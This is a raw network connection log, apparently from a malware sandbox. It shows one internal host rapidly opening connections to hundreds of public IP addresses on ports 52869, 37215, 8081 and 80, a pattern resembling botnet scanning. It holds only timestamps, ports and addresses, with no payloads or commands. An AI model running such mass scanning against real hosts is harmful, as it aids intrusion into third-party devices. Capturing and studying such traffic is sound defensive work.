Jul 20, 2024 23:01:05.099102020 CEST	42060	80	192.168.2.14	88.105.109.160
Jul 20, 2024 23:01:05.100656033 CEST	57982	8081	192.168.2.14	179.106.246.126
Jul 20, 2024 23:01:05.100656033 CEST	57074	8081	192.168.2.14	80.117.177.10
Jul 20, 2024 23:01:05.102828979 CEST	45880	8081	192.168.2.14	171.33.48.226
Jul 20, 2024 23:01:05.102916002 CEST	2466	38412	15.235.203.214	192.168.2.14
Jul 20, 2024 23:01:05.102946043 CEST	80	57498	88.28.160.165	192.168.2.14
Jul 20, 2024 23:01:05.103550911 CEST	8081	53730	51.144.222.200	192.168.2.14
Jul 20, 2024 23:01:05.103624105 CEST	36720	52869	192.168.2.14	8.188.8.56
Jul 20, 2024 23:01:05.104139090 CEST	80	58402	88.28.160.165	192.168.2.14
Jul 20, 2024 23:01:05.105653048 CEST	39680	37215	192.168.2.14	157.102.88.79
Jul 20, 2024 23:01:05.111658096 CEST	33704	80	192.168.2.14	88.103.102.179
Jul 20, 2024 23:01:05.120491982 CEST	42512	52869	192.168.2.14	130.190.186.142
Jul 20, 2024 23:01:05.121212959 CEST	33506	80	192.168.2.14	88.235.97.216
Jul 20, 2024 23:01:05.121212959 CEST	33506	80	192.168.2.14	88.235.97.216
Jul 20, 2024 23:01:05.122796059 CEST	45882	8081	192.168.2.14	17.94.44.52
Jul 20, 2024 23:01:05.123132944 CEST	34412	80	192.168.2.14	88.235.97.216
Jul 20, 2024 23:01:05.123558044 CEST	48024	37215	192.168.2.14	48.200.124.66
Jul 20, 2024 23:01:05.124187946 CEST	43902	52869	192.168.2.14	110.190.170.59
Jul 20, 2024 23:01:05.124824047 CEST	36984	80	192.168.2.14	88.248.106.214
Jul 20, 2024 23:01:05.124846935 CEST	36984	80	192.168.2.14	88.248.106.214
Jul 20, 2024 23:01:05.126450062 CEST	47988	52869	192.168.2.14	165.198.120.17
Jul 20, 2024 23:01:05.126621962 CEST	58402	80	192.168.2.14	88.28.160.165
Jul 20, 2024 23:01:05.126621962 CEST	53730	8081	192.168.2.14	51.144.222.200
Jul 20, 2024 23:01:05.126621962 CEST	50246	37215	192.168.2.14	197.138.28.9
Jul 20, 2024 23:01:05.126621962 CEST	37892	80	192.168.2.14	88.248.106.214
Jul 20, 2024 23:01:05.126848936 CEST	39606	8081	192.168.2.14	53.112.237.25
Jul 20, 2024 23:01:05.127329111 CEST	36622	52869	192.168.2.14	66.134.165.127
Jul 20, 2024 23:01:05.128058910 CEST	50394	80	192.168.2.14	88.133.23.36
Jul 20, 2024 23:01:05.128058910 CEST	50394	80	192.168.2.14	88.133.23.36
Jul 20, 2024 23:01:05.128988981 CEST	47550	37215	192.168.2.14	221.232.156.2
Jul 20, 2024 23:01:05.129184008 CEST	80	33506	88.235.97.216	192.168.2.14
Jul 20, 2024 23:01:05.129214048 CEST	80	33506	88.235.97.216	192.168.2.14
Jul 20, 2024 23:01:05.130170107 CEST	51724	52869	192.168.2.14	79.199.66.178
Jul 20, 2024 23:01:05.130496979 CEST	56402	52869	192.168.2.14	102.223.154.160
Jul 20, 2024 23:01:05.130496979 CEST	47928	52869	192.168.2.14	196.159.190.117
Jul 20, 2024 23:01:05.130579948 CEST	48266	8081	192.168.2.14	12.33.225.1
Jul 20, 2024 23:01:05.130644083 CEST	56288	80	192.168.2.14	88.155.104.179
Jul 20, 2024 23:01:05.130644083 CEST	56288	80	192.168.2.14	88.155.104.179
Jul 20, 2024 23:01:05.130995035 CEST	8081	45882	17.94.44.52	192.168.2.14
Jul 20, 2024 23:01:05.131043911 CEST	45882	8081	192.168.2.14	17.94.44.52
Jul 20, 2024 23:01:05.133227110 CEST	35544	80	192.168.2.14	88.101.188.49
Jul 20, 2024 23:01:05.133245945 CEST	35544	80	192.168.2.14	88.101.188.49
Jul 20, 2024 23:01:05.133372068 CEST	40752	52869	192.168.2.14	202.104.226.178
Jul 20, 2024 23:01:05.133744001 CEST	58476	8081	192.168.2.14	158.9.61.147
Jul 20, 2024 23:01:05.134641886 CEST	80	34412	88.235.97.216	192.168.2.14
Jul 20, 2024 23:01:05.134680033 CEST	34412	80	192.168.2.14	88.235.97.216
Jul 20, 2024 23:01:05.134718895 CEST	52869	43902	110.190.170.59	192.168.2.14
Jul 20, 2024 23:01:05.134759903 CEST	43902	52869	192.168.2.14	110.190.170.59
Jul 20, 2024 23:01:05.134778023 CEST	80	36984	88.248.106.214	192.168.2.14
Jul 20, 2024 23:01:05.134804964 CEST	80	36984	88.248.106.214	192.168.2.14
Jul 20, 2024 23:01:05.134937048 CEST	8081	39606	53.112.237.25	192.168.2.14
Jul 20, 2024 23:01:05.135112047 CEST	39606	8081	192.168.2.14	53.112.237.25
Jul 20, 2024 23:01:05.135112047 CEST	36456	80	192.168.2.14	88.101.188.49
Jul 20, 2024 23:01:05.135807037 CEST	52869	36622	66.134.165.127	192.168.2.14
Jul 20, 2024 23:01:05.135837078 CEST	37215	50246	197.138.28.9	192.168.2.14
Jul 20, 2024 23:01:05.135844946 CEST	36622	52869	192.168.2.14	66.134.165.127
Jul 20, 2024 23:01:05.135873079 CEST	50246	37215	192.168.2.14	197.138.28.9
Jul 20, 2024 23:01:05.136394024 CEST	80	37892	88.248.106.214	192.168.2.14
Jul 20, 2024 23:01:05.136430979 CEST	37892	80	192.168.2.14	88.248.106.214
Jul 20, 2024 23:01:05.136451006 CEST	80	50394	88.133.23.36	192.168.2.14
Jul 20, 2024 23:01:05.136733055 CEST	80	50394	88.133.23.36	192.168.2.14
Jul 20, 2024 23:01:05.136751890 CEST	55814	37215	192.168.2.14	197.198.173.107
Jul 20, 2024 23:01:05.136763096 CEST	37215	47550	221.232.156.2	192.168.2.14
Jul 20, 2024 23:01:05.136801958 CEST	47550	37215	192.168.2.14	221.232.156.2
Jul 20, 2024 23:01:05.136930943 CEST	52869	51724	79.199.66.178	192.168.2.14
Jul 20, 2024 23:01:05.136959076 CEST	51724	52869	192.168.2.14	79.199.66.178
Jul 20, 2024 23:01:05.137013912 CEST	80	56288	88.155.104.179	192.168.2.14
Jul 20, 2024 23:01:05.137049913 CEST	80	56288	88.155.104.179	192.168.2.14
Jul 20, 2024 23:01:05.137079000 CEST	8081	48266	12.33.225.1	192.168.2.14
Jul 20, 2024 23:01:05.137166023 CEST	49930	52869	192.168.2.14	147.70.92.77
Jul 20, 2024 23:01:05.137352943 CEST	48266	8081	192.168.2.14	12.33.225.1
Jul 20, 2024 23:01:05.138936996 CEST	56778	80	192.168.2.14	88.217.70.97
Jul 20, 2024 23:01:05.139158010 CEST	49200	8081	192.168.2.14	156.190.124.56
Jul 20, 2024 23:01:05.139995098 CEST	80	35544	88.101.188.49	192.168.2.14
Jul 20, 2024 23:01:05.140022039 CEST	80	35544	88.101.188.49	192.168.2.14
Jul 20, 2024 23:01:05.140388966 CEST	8081	45882	17.94.44.52	192.168.2.14
Jul 20, 2024 23:01:05.140824080 CEST	52869	40752	202.104.226.178	192.168.2.14
Jul 20, 2024 23:01:05.140856028 CEST	40752	52869	192.168.2.14	202.104.226.178
Jul 20, 2024 23:01:05.141191006 CEST	38702	80	192.168.2.14	88.105.31.235
Jul 20, 2024 23:01:05.141191006 CEST	38702	80	192.168.2.14	88.105.31.235
Jul 20, 2024 23:01:05.141202927 CEST	8081	58476	158.9.61.147	192.168.2.14
Jul 20, 2024 23:01:05.141367912 CEST	58476	8081	192.168.2.14	158.9.61.147
Jul 20, 2024 23:01:05.141552925 CEST	41900	37215	192.168.2.14	157.89.201.91
Jul 20, 2024 23:01:05.141552925 CEST	51304	80	192.168.2.14	88.133.23.36
Jul 20, 2024 23:01:05.142471075 CEST	45882	8081	192.168.2.14	17.94.44.52
Jul 20, 2024 23:01:05.142844915 CEST	80	34412	88.235.97.216	192.168.2.14
Jul 20, 2024 23:01:05.143672943 CEST	39618	80	192.168.2.14	88.105.31.235
Jul 20, 2024 23:01:05.143898010 CEST	46346	52869	192.168.2.14	141.25.137.192
Jul 20, 2024 23:01:05.144316912 CEST	49909	52869	192.168.2.14	121.186.185.164
Jul 20, 2024 23:01:05.144330978 CEST	49909	52869	192.168.2.14	68.152.218.131
Jul 20, 2024 23:01:05.144331932 CEST	49909	52869	192.168.2.14	201.86.215.2
Jul 20, 2024 23:01:05.144335032 CEST	49909	52869	192.168.2.14	45.42.50.87
Jul 20, 2024 23:01:05.144362926 CEST	52869	43902	110.190.170.59	192.168.2.14
Jul 20, 2024 23:01:05.144426107 CEST	37215	55814	197.198.173.107	192.168.2.14
Jul 20, 2024 23:01:05.144442081 CEST	49909	52869	192.168.2.14	164.125.22.226
Jul 20, 2024 23:01:05.144442081 CEST	49909	52869	192.168.2.14	52.81.17.176
Jul 20, 2024 23:01:05.144454002 CEST	80	36456	88.101.188.49	192.168.2.14
Jul 20, 2024 23:01:05.144458055 CEST	55814	37215	192.168.2.14	197.198.173.107
Jul 20, 2024 23:01:05.144498110 CEST	52869	49930	147.70.92.77	192.168.2.14
Jul 20, 2024 23:01:05.144516945 CEST	49909	52869	192.168.2.14	222.242.93.36
Jul 20, 2024 23:01:05.144516945 CEST	49909	52869	192.168.2.14	210.216.14.240
Jul 20, 2024 23:01:05.144516945 CEST	49909	52869	192.168.2.14	194.28.135.210
Jul 20, 2024 23:01:05.144582033 CEST	49909	52869	192.168.2.14	111.196.49.195
Jul 20, 2024 23:01:05.144582033 CEST	49909	52869	192.168.2.14	104.150.124.246
Jul 20, 2024 23:01:05.144798040 CEST	49909	52869	192.168.2.14	95.101.166.25
Jul 20, 2024 23:01:05.144798040 CEST	49909	52869	192.168.2.14	153.226.105.79
Jul 20, 2024 23:01:05.144798040 CEST	49909	52869	192.168.2.14	176.156.248.68
Jul 20, 2024 23:01:05.144798040 CEST	36456	80	192.168.2.14	88.101.188.49
Jul 20, 2024 23:01:05.144798040 CEST	49909	52869	192.168.2.14	54.56.111.12
Jul 20, 2024 23:01:05.144798040 CEST	49909	52869	192.168.2.14	75.80.140.31
Jul 20, 2024 23:01:05.144798040 CEST	49909	52869	192.168.2.14	212.96.217.71
Jul 20, 2024 23:01:05.144798040 CEST	49909	52869	192.168.2.14	92.130.153.45
Jul 20, 2024 23:01:05.144969940 CEST	49909	52869	192.168.2.14	101.175.170.97
Jul 20, 2024 23:01:05.144969940 CEST	49909	52869	192.168.2.14	17.104.43.204
Jul 20, 2024 23:01:05.144969940 CEST	49909	52869	192.168.2.14	170.85.3.51
Jul 20, 2024 23:01:05.144969940 CEST	49909	52869	192.168.2.14	150.236.47.184
Jul 20, 2024 23:01:05.144969940 CEST	49909	52869	192.168.2.14	38.0.88.209
Jul 20, 2024 23:01:05.144969940 CEST	49909	52869	192.168.2.14	76.127.152.234
Jul 20, 2024 23:01:05.144969940 CEST	49909	52869	192.168.2.14	8.189.21.172
Jul 20, 2024 23:01:05.144969940 CEST	49909	52869	192.168.2.14	148.172.88.84
Jul 20, 2024 23:01:05.144998074 CEST	49909	52869	192.168.2.14	151.83.152.171
Jul 20, 2024 23:01:05.144998074 CEST	49909	52869	192.168.2.14	196.220.181.241
Jul 20, 2024 23:01:05.144999027 CEST	49909	52869	192.168.2.14	159.93.50.47
Jul 20, 2024 23:01:05.144999027 CEST	49909	52869	192.168.2.14	142.1.131.54
Jul 20, 2024 23:01:05.144999027 CEST	49909	52869	192.168.2.14	18.193.212.35
Jul 20, 2024 23:01:05.144999027 CEST	49909	52869	192.168.2.14	65.224.60.0
Jul 20, 2024 23:01:05.144999027 CEST	49909	52869	192.168.2.14	143.20.96.195
Jul 20, 2024 23:01:05.144999027 CEST	49909	52869	192.168.2.14	91.135.107.72
Jul 20, 2024 23:01:05.145668983 CEST	49909	52869	192.168.2.14	149.39.246.113
Jul 20, 2024 23:01:05.145668983 CEST	49909	52869	192.168.2.14	54.134.199.95
Jul 20, 2024 23:01:05.145668983 CEST	49909	52869	192.168.2.14	209.26.48.88
Jul 20, 2024 23:01:05.145668983 CEST	49909	52869	192.168.2.14	175.84.235.19
Jul 20, 2024 23:01:05.145668983 CEST	49909	52869	192.168.2.14	107.143.209.249
Jul 20, 2024 23:01:05.145668983 CEST	49909	52869	192.168.2.14	99.141.194.61
Jul 20, 2024 23:01:05.145668983 CEST	49909	52869	192.168.2.14	74.36.223.196
Jul 20, 2024 23:01:05.145668983 CEST	49909	52869	192.168.2.14	137.107.74.73
Jul 20, 2024 23:01:05.146224976 CEST	57198	80	192.168.2.14	88.155.104.179
Jul 20, 2024 23:01:05.146224976 CEST	34592	37215	192.168.2.14	197.91.36.141
Jul 20, 2024 23:01:05.146224976 CEST	55864	80	192.168.2.14	88.217.70.97
Jul 20, 2024 23:01:05.146224976 CEST	55864	80	192.168.2.14	88.217.70.97
Jul 20, 2024 23:01:05.146224976 CEST	36550	52869	192.168.2.14	73.117.253.69
Jul 20, 2024 23:01:05.146441936 CEST	80	56778	88.217.70.97	192.168.2.14
Jul 20, 2024 23:01:05.146497011 CEST	8081	49200	156.190.124.56	192.168.2.14
Jul 20, 2024 23:01:05.146590948 CEST	49909	52869	192.168.2.14	134.162.31.242
Jul 20, 2024 23:01:05.146590948 CEST	49930	52869	192.168.2.14	147.70.92.77
Jul 20, 2024 23:01:05.146590948 CEST	49909	52869	192.168.2.14	97.35.117.1
Jul 20, 2024 23:01:05.146590948 CEST	49909	52869	192.168.2.14	174.246.235.173
Jul 20, 2024 23:01:05.146590948 CEST	49909	52869	192.168.2.14	81.144.134.42
Jul 20, 2024 23:01:05.146590948 CEST	49909	52869	192.168.2.14	196.179.167.169
Jul 20, 2024 23:01:05.146591902 CEST	49909	52869	192.168.2.14	72.168.186.135
Jul 20, 2024 23:01:05.146591902 CEST	49909	52869	192.168.2.14	222.193.249.127
Jul 20, 2024 23:01:05.147485971 CEST	49909	52869	192.168.2.14	198.36.202.185
Jul 20, 2024 23:01:05.147485971 CEST	49909	52869	192.168.2.14	120.172.18.74
Jul 20, 2024 23:01:05.147485971 CEST	49909	52869	192.168.2.14	126.3.10.117
Jul 20, 2024 23:01:05.147485971 CEST	49909	52869	192.168.2.14	204.104.66.147
Jul 20, 2024 23:01:05.147485971 CEST	49909	52869	192.168.2.14	92.26.65.4
Jul 20, 2024 23:01:05.147485971 CEST	49909	52869	192.168.2.14	63.124.169.164
Jul 20, 2024 23:01:05.147485971 CEST	49909	52869	192.168.2.14	180.76.221.54
Jul 20, 2024 23:01:05.147505999 CEST	41780	37215	192.168.2.14	157.232.183.8
Jul 20, 2024 23:01:05.148821115 CEST	49909	52869	192.168.2.14	141.76.104.108
Jul 20, 2024 23:01:05.148821115 CEST	49909	52869	192.168.2.14	34.220.144.49
Jul 20, 2024 23:01:05.148821115 CEST	49909	52869	192.168.2.14	74.156.104.185
Jul 20, 2024 23:01:05.148821115 CEST	49909	52869	192.168.2.14	5.18.26.251
Jul 20, 2024 23:01:05.148821115 CEST	49909	52869	192.168.2.14	190.30.191.40
Jul 20, 2024 23:01:05.148821115 CEST	49909	52869	192.168.2.14	137.227.134.172
Jul 20, 2024 23:01:05.148821115 CEST	49909	52869	192.168.2.14	131.218.169.242
Jul 20, 2024 23:01:05.148821115 CEST	49909	52869	192.168.2.14	93.19.63.134
Jul 20, 2024 23:01:05.148906946 CEST	49909	52869	192.168.2.14	117.32.12.180
Jul 20, 2024 23:01:05.148906946 CEST	49909	52869	192.168.2.14	88.32.200.137
Jul 20, 2024 23:01:05.148906946 CEST	49909	52869	192.168.2.14	102.208.143.105
Jul 20, 2024 23:01:05.148906946 CEST	49909	52869	192.168.2.14	54.152.9.207
Jul 20, 2024 23:01:05.148906946 CEST	49909	52869	192.168.2.14	93.203.238.143
Jul 20, 2024 23:01:05.148906946 CEST	49909	52869	192.168.2.14	193.154.34.23
Jul 20, 2024 23:01:05.148906946 CEST	49909	52869	192.168.2.14	63.136.55.109
Jul 20, 2024 23:01:05.148906946 CEST	49909	52869	192.168.2.14	84.6.23.49
Jul 20, 2024 23:01:05.149951935 CEST	49909	52869	192.168.2.14	189.80.222.3
Jul 20, 2024 23:01:05.149951935 CEST	49909	52869	192.168.2.14	2.28.150.184
Jul 20, 2024 23:01:05.149951935 CEST	49909	52869	192.168.2.14	123.115.170.166
Jul 20, 2024 23:01:05.149951935 CEST	49909	52869	192.168.2.14	87.152.58.47
Jul 20, 2024 23:01:05.149951935 CEST	49909	52869	192.168.2.14	118.136.112.166
Jul 20, 2024 23:01:05.149951935 CEST	49909	52869	192.168.2.14	35.124.75.46
Jul 20, 2024 23:01:05.149951935 CEST	49909	52869	192.168.2.14	106.202.176.87
Jul 20, 2024 23:01:05.149951935 CEST	49909	52869	192.168.2.14	203.63.85.231
Jul 20, 2024 23:01:05.150192976 CEST	49909	52869	192.168.2.14	156.165.173.53
Jul 20, 2024 23:01:05.150192976 CEST	49909	52869	192.168.2.14	140.207.89.61
Jul 20, 2024 23:01:05.150192976 CEST	49909	52869	192.168.2.14	66.210.181.64
Jul 20, 2024 23:01:05.150192976 CEST	49909	52869	192.168.2.14	209.242.179.8
Jul 20, 2024 23:01:05.150192976 CEST	49909	52869	192.168.2.14	91.7.78.31
Jul 20, 2024 23:01:05.150192976 CEST	49909	52869	192.168.2.14	184.17.245.90
Jul 20, 2024 23:01:05.150192976 CEST	49909	52869	192.168.2.14	23.78.7.26
Jul 20, 2024 23:01:05.150533915 CEST	38232	8081	192.168.2.14	187.16.144.121
Jul 20, 2024 23:01:05.150533915 CEST	49909	52869	192.168.2.14	75.65.150.175
Jul 20, 2024 23:01:05.150533915 CEST	49909	52869	192.168.2.14	126.220.188.31
Jul 20, 2024 23:01:05.150533915 CEST	49909	52869	192.168.2.14	191.94.63.147
Jul 20, 2024 23:01:05.150533915 CEST	49909	52869	192.168.2.14	93.189.109.212
Jul 20, 2024 23:01:05.150533915 CEST	49909	52869	192.168.2.14	86.140.207.194
Jul 20, 2024 23:01:05.153419971 CEST	49909	52869	192.168.2.14	5.194.209.170
Jul 20, 2024 23:01:05.153419971 CEST	49909	52869	192.168.2.14	163.13.117.218
Jul 20, 2024 23:01:05.153419971 CEST	49909	52869	192.168.2.14	192.82.118.48
Jul 20, 2024 23:01:05.153419971 CEST	49909	52869	192.168.2.14	192.77.254.47
Jul 20, 2024 23:01:05.153419971 CEST	49909	52869	192.168.2.14	68.173.91.82
Jul 20, 2024 23:01:05.153419971 CEST	49909	52869	192.168.2.14	187.248.23.226
Jul 20, 2024 23:01:05.153419971 CEST	49909	52869	192.168.2.14	77.32.128.37
Jul 20, 2024 23:01:05.153420925 CEST	49909	52869	192.168.2.14	163.77.173.189
Jul 20, 2024 23:01:05.153732061 CEST	49909	52869	192.168.2.14	101.148.187.65
Jul 20, 2024 23:01:05.153732061 CEST	49909	52869	192.168.2.14	128.41.155.211
Jul 20, 2024 23:01:05.153732061 CEST	49909	52869	192.168.2.14	189.219.67.157
Jul 20, 2024 23:01:05.153732061 CEST	49909	52869	192.168.2.14	99.110.208.119
Jul 20, 2024 23:01:05.153732061 CEST	49909	52869	192.168.2.14	70.113.86.124
Jul 20, 2024 23:01:05.153732061 CEST	49909	52869	192.168.2.14	175.106.151.25
Jul 20, 2024 23:01:05.153732061 CEST	49909	52869	192.168.2.14	19.99.153.66
Jul 20, 2024 23:01:05.153732061 CEST	49909	52869	192.168.2.14	184.103.185.235
Jul 20, 2024 23:01:05.153805971 CEST	49909	52869	192.168.2.14	125.249.81.248
Jul 20, 2024 23:01:05.153805971 CEST	49909	52869	192.168.2.14	83.204.112.142
Jul 20, 2024 23:01:05.153805971 CEST	49909	52869	192.168.2.14	124.119.110.201
Jul 20, 2024 23:01:05.153805971 CEST	49909	52869	192.168.2.14	106.196.183.139
Jul 20, 2024 23:01:05.153805971 CEST	49909	52869	192.168.2.14	9.82.192.191
Jul 20, 2024 23:01:05.153805971 CEST	49909	52869	192.168.2.14	49.117.15.17
Jul 20, 2024 23:01:05.153805971 CEST	49909	52869	192.168.2.14	223.237.118.129
Jul 20, 2024 23:01:05.153805971 CEST	49909	52869	192.168.2.14	68.6.179.57
Jul 20, 2024 23:01:05.154063940 CEST	49909	52869	192.168.2.14	105.138.238.17
Jul 20, 2024 23:01:05.154063940 CEST	49909	52869	192.168.2.14	71.8.205.69
Jul 20, 2024 23:01:05.154063940 CEST	49909	52869	192.168.2.14	139.165.69.159
Jul 20, 2024 23:01:05.154063940 CEST	49909	52869	192.168.2.14	213.20.111.13
Jul 20, 2024 23:01:05.154063940 CEST	49909	52869	192.168.2.14	107.24.195.173
Jul 20, 2024 23:01:05.154063940 CEST	49909	52869	192.168.2.14	145.155.209.50
Jul 20, 2024 23:01:05.154063940 CEST	49909	52869	192.168.2.14	116.47.255.58
Jul 20, 2024 23:01:05.154063940 CEST	49909	52869	192.168.2.14	199.47.176.74
Jul 20, 2024 23:01:05.154356003 CEST	49909	52869	192.168.2.14	9.248.234.30
Jul 20, 2024 23:01:05.154356003 CEST	49909	52869	192.168.2.14	137.248.186.235
Jul 20, 2024 23:01:05.154356003 CEST	49909	52869	192.168.2.14	85.36.171.153
Jul 20, 2024 23:01:05.154356003 CEST	49909	52869	192.168.2.14	17.175.93.213
Jul 20, 2024 23:01:05.154356956 CEST	49909	52869	192.168.2.14	125.50.30.108
Jul 20, 2024 23:01:05.154356956 CEST	49909	52869	192.168.2.14	137.144.101.139
Jul 20, 2024 23:01:05.154356956 CEST	49909	52869	192.168.2.14	174.69.17.138
Jul 20, 2024 23:01:05.154356956 CEST	49909	52869	192.168.2.14	5.165.26.70
Jul 20, 2024 23:01:05.156317949 CEST	49909	52869	192.168.2.14	163.215.112.219
Jul 20, 2024 23:01:05.156318903 CEST	49909	52869	192.168.2.14	54.50.184.64
Jul 20, 2024 23:01:05.156318903 CEST	49909	52869	192.168.2.14	165.44.179.73
Jul 20, 2024 23:01:05.156318903 CEST	49909	52869	192.168.2.14	13.2.67.215
Jul 20, 2024 23:01:05.156318903 CEST	49909	52869	192.168.2.14	187.118.22.161
Jul 20, 2024 23:01:05.156318903 CEST	49909	52869	192.168.2.14	41.13.90.104
Jul 20, 2024 23:01:05.156318903 CEST	49909	52869	192.168.2.14	45.173.118.222
Jul 20, 2024 23:01:05.156318903 CEST	49909	52869	192.168.2.14	130.128.150.52
Jul 20, 2024 23:01:05.156539917 CEST	49909	52869	192.168.2.14	14.191.58.78
Jul 20, 2024 23:01:05.156539917 CEST	49909	52869	192.168.2.14	102.225.181.84
Jul 20, 2024 23:01:05.156539917 CEST	49909	52869	192.168.2.14	51.48.72.164
Jul 20, 2024 23:01:05.156539917 CEST	49909	52869	192.168.2.14	163.21.17.25
Jul 20, 2024 23:01:05.156539917 CEST	49909	52869	192.168.2.14	148.226.164.83
Jul 20, 2024 23:01:05.156539917 CEST	49909	52869	192.168.2.14	220.164.110.239
Jul 20, 2024 23:01:05.156539917 CEST	49909	52869	192.168.2.14	198.198.118.53
Jul 20, 2024 23:01:05.156539917 CEST	49909	52869	192.168.2.14	155.191.209.175
Jul 20, 2024 23:01:05.156615973 CEST	49909	52869	192.168.2.14	85.133.84.127
Jul 20, 2024 23:01:05.156615973 CEST	49909	52869	192.168.2.14	107.224.8.125
Jul 20, 2024 23:01:05.156616926 CEST	49909	52869	192.168.2.14	81.113.141.221
Jul 20, 2024 23:01:05.156616926 CEST	49909	52869	192.168.2.14	39.210.25.195
Jul 20, 2024 23:01:05.156616926 CEST	49909	52869	192.168.2.14	120.112.3.216
Jul 20, 2024 23:01:05.156616926 CEST	49909	52869	192.168.2.14	146.232.115.219
Jul 20, 2024 23:01:05.156616926 CEST	49909	52869	192.168.2.14	57.209.144.62
Jul 20, 2024 23:01:05.156616926 CEST	49909	52869	192.168.2.14	69.119.204.57
Jul 20, 2024 23:01:05.158126116 CEST	49909	52869	192.168.2.14	201.85.216.179
Jul 20, 2024 23:01:05.158126116 CEST	49909	52869	192.168.2.14	129.39.62.254
Jul 20, 2024 23:01:05.158126116 CEST	49909	52869	192.168.2.14	190.195.78.184
Jul 20, 2024 23:01:05.158126116 CEST	49909	52869	192.168.2.14	105.115.73.143
Jul 20, 2024 23:01:05.158126116 CEST	49909	52869	192.168.2.14	87.93.212.14
Jul 20, 2024 23:01:05.158126116 CEST	49909	52869	192.168.2.14	223.39.132.84
Jul 20, 2024 23:01:05.158126116 CEST	49909	52869	192.168.2.14	12.139.83.131
Jul 20, 2024 23:01:05.158126116 CEST	49909	52869	192.168.2.14	142.15.133.38
Jul 20, 2024 23:01:05.158227921 CEST	49909	52869	192.168.2.14	9.215.184.103
Jul 20, 2024 23:01:05.158227921 CEST	49909	52869	192.168.2.14	38.247.108.61
Jul 20, 2024 23:01:05.158227921 CEST	49909	52869	192.168.2.14	124.108.216.191
Jul 20, 2024 23:01:05.158227921 CEST	49909	52869	192.168.2.14	24.117.122.41
Jul 20, 2024 23:01:05.158227921 CEST	49909	52869	192.168.2.14	81.129.36.8
Jul 20, 2024 23:01:05.158227921 CEST	49909	52869	192.168.2.14	39.16.20.236
Jul 20, 2024 23:01:05.158227921 CEST	49909	52869	192.168.2.14	135.76.234.173
Jul 20, 2024 23:01:05.158227921 CEST	49909	52869	192.168.2.14	201.159.145.7
Jul 20, 2024 23:01:05.160522938 CEST	49909	52869	192.168.2.14	14.89.209.38
Jul 20, 2024 23:01:05.160522938 CEST	49909	52869	192.168.2.14	70.16.125.168
Jul 20, 2024 23:01:05.160523891 CEST	49909	52869	192.168.2.14	149.150.32.230
Jul 20, 2024 23:01:05.160523891 CEST	49909	52869	192.168.2.14	14.158.123.84
Jul 20, 2024 23:01:05.160523891 CEST	49909	52869	192.168.2.14	43.143.72.41
Jul 20, 2024 23:01:05.160523891 CEST	49909	52869	192.168.2.14	222.221.53.178
Jul 20, 2024 23:01:05.160523891 CEST	49909	52869	192.168.2.14	37.139.55.150
Jul 20, 2024 23:01:05.160523891 CEST	49909	52869	192.168.2.14	211.169.227.191
Jul 20, 2024 23:01:05.161499977 CEST	49909	52869	192.168.2.14	139.4.226.119
Jul 20, 2024 23:01:05.161499977 CEST	49909	52869	192.168.2.14	90.235.136.206
Jul 20, 2024 23:01:05.161499977 CEST	49909	52869	192.168.2.14	62.244.82.202
Jul 20, 2024 23:01:05.161499977 CEST	49909	52869	192.168.2.14	119.32.183.110
Jul 20, 2024 23:01:05.161499977 CEST	49909	52869	192.168.2.14	216.182.65.204
Jul 20, 2024 23:01:05.161499977 CEST	49909	52869	192.168.2.14	98.204.17.99
Jul 20, 2024 23:01:05.161499977 CEST	49909	52869	192.168.2.14	118.58.123.2
Jul 20, 2024 23:01:05.161499977 CEST	49909	52869	192.168.2.14	44.146.235.89
Jul 20, 2024 23:01:05.161747932 CEST	49909	52869	192.168.2.14	138.16.190.170
Jul 20, 2024 23:01:05.161747932 CEST	49909	52869	192.168.2.14	53.83.139.63
Jul 20, 2024 23:01:05.161747932 CEST	49909	52869	192.168.2.14	136.158.68.150
Jul 20, 2024 23:01:05.161747932 CEST	49909	52869	192.168.2.14	119.7.110.116
Jul 20, 2024 23:01:05.161747932 CEST	49909	52869	192.168.2.14	49.201.102.76
Jul 20, 2024 23:01:05.161747932 CEST	49909	52869	192.168.2.14	173.17.141.67
Jul 20, 2024 23:01:05.161747932 CEST	49909	52869	192.168.2.14	113.228.170.209
Jul 20, 2024 23:01:05.161747932 CEST	49909	52869	192.168.2.14	104.231.199.53
Jul 20, 2024 23:01:05.162384033 CEST	49909	52869	192.168.2.14	193.224.130.179
Jul 20, 2024 23:01:05.162384033 CEST	49909	52869	192.168.2.14	24.166.235.141
Jul 20, 2024 23:01:05.162384033 CEST	49909	52869	192.168.2.14	65.53.9.124
Jul 20, 2024 23:01:05.162384033 CEST	49909	52869	192.168.2.14	208.61.247.209
Jul 20, 2024 23:01:05.162384033 CEST	49909	52869	192.168.2.14	25.46.102.200
Jul 20, 2024 23:01:05.162384033 CEST	49909	52869	192.168.2.14	129.65.96.244
Jul 20, 2024 23:01:05.162384033 CEST	49909	52869	192.168.2.14	100.220.55.173
Jul 20, 2024 23:01:05.162384033 CEST	49909	52869	192.168.2.14	4.31.63.227
Jul 20, 2024 23:01:05.163353920 CEST	49909	52869	192.168.2.14	111.245.198.132
Jul 20, 2024 23:01:05.163353920 CEST	49909	52869	192.168.2.14	58.42.193.37
Jul 20, 2024 23:01:05.163353920 CEST	49909	52869	192.168.2.14	4.53.251.40
Jul 20, 2024 23:01:05.163353920 CEST	49909	52869	192.168.2.14	184.209.57.164
Jul 20, 2024 23:01:05.163353920 CEST	49909	52869	192.168.2.14	212.223.19.244
Jul 20, 2024 23:01:05.163353920 CEST	49909	52869	192.168.2.14	66.1.195.152
Jul 20, 2024 23:01:05.163353920 CEST	49909	52869	192.168.2.14	161.106.172.225
Jul 20, 2024 23:01:05.163353920 CEST	49909	52869	192.168.2.14	110.189.3.161
Jul 20, 2024 23:01:05.163799047 CEST	49909	52869	192.168.2.14	205.185.253.173
Jul 20, 2024 23:01:05.163799047 CEST	49909	52869	192.168.2.14	167.88.206.32
Jul 20, 2024 23:01:05.163799047 CEST	49909	52869	192.168.2.14	164.30.58.110
Jul 20, 2024 23:01:05.163799047 CEST	49909	52869	192.168.2.14	195.53.44.101
Jul 20, 2024 23:01:05.163799047 CEST	49909	52869	192.168.2.14	91.191.27.147
Jul 20, 2024 23:01:05.163799047 CEST	49909	52869	192.168.2.14	199.54.41.98
Jul 20, 2024 23:01:05.163799047 CEST	49909	52869	192.168.2.14	117.188.61.52
Jul 20, 2024 23:01:05.163799047 CEST	49909	52869	192.168.2.14	60.166.134.47
Jul 20, 2024 23:01:05.164491892 CEST	49909	52869	192.168.2.14	174.131.89.51
Jul 20, 2024 23:01:05.164491892 CEST	49909	52869	192.168.2.14	205.129.198.70
Jul 20, 2024 23:01:05.164491892 CEST	49909	52869	192.168.2.14	100.244.44.11
